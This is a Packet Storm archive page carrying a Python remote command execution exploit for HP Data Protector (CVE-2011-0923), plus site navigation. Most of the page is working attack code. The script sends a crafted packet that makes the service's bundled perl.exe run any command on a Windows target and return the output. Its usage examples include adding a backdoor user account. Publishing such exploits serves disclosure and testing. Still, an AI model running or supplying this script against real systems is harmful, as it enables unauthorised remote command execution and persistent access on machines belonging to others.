exploit the possibilities

HP Data Protector Arbitrary Remote Command Execution

HP Data Protector Arbitrary Remote Command Execution
Posted Aug 7, 2013
Authored by Alessandro Di Pinto, Claudio Moletta

This python script allows execution of a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory {install_path}/bin/. The main goal of the script is to bypass the limitation of executing only a single command without any parameter, as provided by already existing exploits. It is possible to exploit the security issue in order to run any command inside the target system.

tags | exploit, arbitrary, perl, python
advisories | CVE-2011-0923, OSVDB-72526
MD5 | 170a7d65a9fbfba5d4a2f9d411ee7f6a

HP Data Protector Arbitrary Remote Command Execution

Change Mirror Download
"""
HP Data Protector Arbitrary Remote Command Execution

This script allows to execute a command with an arbitrary number of
arguments. The trick calls 'perl.exe' interpreter installed with HP Data
Protector inside the directory {install_path}/bin/.

The main goal of the script is to bypass the limitation of executing only a
single command without any parameter, as provided by already existing
exploits. As shown below, it's possible to exploit the security issue in order
to run any command inside the target system.

Target OS:
Microsoft Windows

Tested Version:
HP Data Protector A.06.20

Usage:
exploit.py <target> <port> <command>

Example:
exploit.py 192.168.1.1 5555 'dir c:\'
exploit.py 192.168.1.1 5555 'ipconfig /all'
exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'

Authors:
Alessandro Di Pinto ( alessandro.dipinto () artificialstudios org )
Claudio Moletta ( mclaudio () gmail com )

Reference:
http://www.zerodayinitiative.com/advisories/ZDI-11-055/
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0923
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
"""

import socket
import struct
import sys

def usage():
print >> sys.stderr, "Usage: %s <target> <port> <command>" % sys.argv[0]
exit(-1)

def exploit(host, port, command):
# Try to connect
print >> sys.stderr, "[*] Connecting to target '%s:%s'..." % (host, port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, int(port)))
except Exception as ex:
print >> sys.stderr, "[!] Socket error: \n\t%s" % ex
exit(-3)
else:
print >> sys.stderr, "[*] Connected to the target."

# Connected, build the malicious payload
OFFSET = 46
command = command.replace("\\", "\\\\")
command_size = chr(OFFSET + len(command))
CRAFTED_PKT = "\x00\x00\x00" + \
command_size + \
"\x32\x00\x01" + \
"\x01\x01\x01" + \
"\x01\x01\x00" + \
"\x01\x00\x01" + \
"\x00\x01\x00" + \
"\x01\x01\x00" + \
"\x2028\x00" + \
"\\perl.exe" + \
"\x00 -esystem('%s')\x00" % command

# Send payload to target
print >> sys.stderr, "[*] Sending payload '%s'" % command
sock.sendall(CRAFTED_PKT)

# Parse the response back
print >> sys.stderr, "[*] Output:"
while True:
# Get information about response
response_size = sock.recv(4)
if not response_size: break
n = struct.unpack(">I", response_size)[0]

# Get command results
# code = response[:5]
# data = response[5:]
response = sock.recv(n)

# Clean and parse results
response = response[5:].strip()
response = response.replace("\n", "")
response = response.replace("\x00", "")
# Check for the end-of-message
if response.upper().find("*RETVAL*") != -1:
break
print response

# Close connection
sock.close()

if __name__ == "__main__":
# Get command-line
argc = len(sys.argv)
if argc < 4:
usage()
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
if port.isdigit():
port = int(port)
else:
print >> sys.stderr, "[!] Error, invalid port value"
exit(-2)

# Send malicious payload
exploit(host, port, cmd)
exit(0)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close